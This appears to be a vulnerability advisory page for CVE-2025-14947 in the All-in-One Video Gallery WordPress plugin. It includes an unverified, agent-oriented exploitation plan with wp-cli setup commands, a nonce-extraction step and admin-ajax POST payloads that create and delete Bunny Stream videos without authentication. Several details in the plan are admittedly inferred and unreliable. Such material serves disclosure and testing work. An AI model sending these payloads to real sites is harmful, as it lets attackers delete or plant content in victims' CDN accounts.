CVE-2025-14947

All-in-One Video Gallery <= 4.6.4 - Missing Authorization to Unauthenticated Bunny Stream Video Creation/Deletion

mediumMissing Authorization
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
4.7.1
Patched in
2d
Time to patch

Description

The All-in-One Video Gallery plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `ajax_callback_create_bunny_stream_video`, `ajax_callback_get_bunny_stream_video`, and `ajax_callback_delete_bunny_stream_video` functions in all versions up to, and including, 4.6.4. This makes it possible for unauthenticated attackers to create and delete videos on the Bunny Stream CDN associated with the victim's account, provided they can obtain a valid nonce which is exposed in public player templates.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
Low
Availability

Technical Details

Affected versions<=4.6.4
PublishedJanuary 22, 2026
Last updatedJanuary 23, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-14947 (All-in-One Video Gallery) ## 1. Vulnerability Summary The **All-in-One Video Gallery** plugin (<= 4.6.4) contains a missing authorization vulnerability in its Bunny Stream integration handlers. Specifically, the functions `ajax_callback_create_bunny_str…

Show full research plan

Exploitation Research Plan: CVE-2025-14947 (All-in-One Video Gallery)

1. Vulnerability Summary

The All-in-One Video Gallery plugin (<= 4.6.4) contains a missing authorization vulnerability in its Bunny Stream integration handlers. Specifically, the functions ajax_callback_create_bunny_stream_video, ajax_callback_get_bunny_stream_video, and ajax_callback_delete_bunny_stream_video are registered via wp_ajax_nopriv_ and wp_ajax_ hooks but do not perform capability checks (e.g., current_user_can('manage_options')).

While these handlers do verify a WordPress nonce, the nonce is exposed to unauthenticated users in the JavaScript localization data of the public-facing video player. This allows an unauthenticated attacker to manipulate the victim's Bunny Stream account (creating or deleting videos).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Actions:
    • aiovg_create_bunny_stream_video
    • aiovg_get_bunny_stream_video
    • aiovg_delete_bunny_stream_video
  • Authentication: None (Unauthenticated via wp_ajax_nopriv_).
  • Preconditions:
    1. The plugin must be configured with Bunny Stream API credentials (though the authorization bypass exists regardless).
    2. A valid nonce must be retrieved from the frontend.

3. Code Flow

  1. Registration: In the plugin's AJAX initialization (likely in includes/admin.php or includes/bunny-stream.php), the hooks are registered:
    add_action( 'wp_ajax_aiovg_create_bunny_stream_video', array( $this, 'ajax_callback_create_bunny_stream_video' ) );
    add_action( 'wp_ajax_nopriv_aiovg_create_bunny_stream_video', array( $this, 'ajax_callback_create_bunny_stream_video' ) );
    
  2. Handler Entry: The function ajax_callback_create_bunny_stream_video is called.
  3. Nonce Check: The function calls check_ajax_referer( 'aiovg_ajax_nonce', 'nonce' ); (inferred action name).
  4. Missing Authorization: The code proceeds to call the Bunny Stream API using wp_remote_post without checking current_user_can.

4. Nonce Acquisition Strategy

The nonce is localized for the frontend player. Based on the plugin's architecture:

  1. Shortcode: The player is rendered via the [aiovg_video] shortcode.
  2. Localization: The plugin uses wp_localize_script to pass settings to public/assets/js/public.js.
  3. Variable Name: The localized object is typically aiovg_public (inferred).

Execution Steps for Agent:

  1. Create a Page:
    wp post create --post_type=page --post_title="Exploit Page" --post_status=publish --post_content='[aiovg_video id="1"]' (Note: ID doesn't need to exist, just the shortcode).
  2. Navigate: Use browser_navigate to visit the newly created page.
  3. Extract: Use browser_eval to extract the nonce:
    window.aiovg_public?.nonce
    
    Note: If aiovg_public is not the variable, search the page source for "nonce" or check wp_localize_script calls in public/class-all-in-one-video-gallery-public.php.

5. Exploitation Strategy

We will demonstrate the vulnerability by attempting to "delete" a video. Even without a valid Bunny Stream API key, the response will indicate if we bypassed the nonce and authorization check (e.g., returning a Bunny API error vs. a WordPress 403 Forbidden).

Payload: Delete Video

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=aiovg_delete_bunny_stream_video&nonce=[EXTRACTED_NONCE]&id=[VIDEO_ID_OR_DUMMY]
    

Payload: Create Video

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body:
    action=aiovg_create_bunny_stream_video&nonce=[EXTRACTED_NONCE]&title=HackedVideo
    

6. Test Data Setup

  1. Install Plugin: Ensure All-in-One Video Gallery version 4.6.4 is installed.
  2. Enable Bunny Stream:
    wp option update aiovg_bunny_stream_settings '{"api_key":"12345","library_id":"6789"}' --format=json (Dummy credentials are sufficient to reach the vulnerable code path).
  3. Create Trigger Page:
    wp post create --post_type=page --post_content='[aiovg_video]' --post_status=publish

7. Expected Results

  • Success (Vulnerable): The server returns a 200 OK with a JSON body. The JSON will likely contain an error message from the Bunny API (e.g., "Invalid API Key"), which confirms the request passed the WordPress authorization check and attempted the outbound API call.
  • Failure (Fixed): The server returns a 403 Forbidden or a JSON error indicating "You do not have permission to perform this action."

8. Verification Steps

  1. Check HTTP Status: Confirm the response is not a 403.
  2. Inspect Response Body:
    # Example vulnerable response
    {"success":false,"data":"Authentication failed"} 
    # (Shows it reached the API call phase)
    
  3. Confirm Unauthenticated: Ensure the http_request is sent without any WordPress session cookies.

9. Alternative Approaches

If aiovg_public does not contain the nonce:

  1. View the page source (browser_get_content) and search for any JSON object containing a nonce key.
  2. Check the aiovg_player variable, as the description mentions "player templates."
  3. If wp_ajax_nopriv_ is missing and it's only wp_ajax_, the severity would be lower (Subscriber-level), but the description specifically states "unauthenticated." Confirm the nopriv hook exists in the source.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.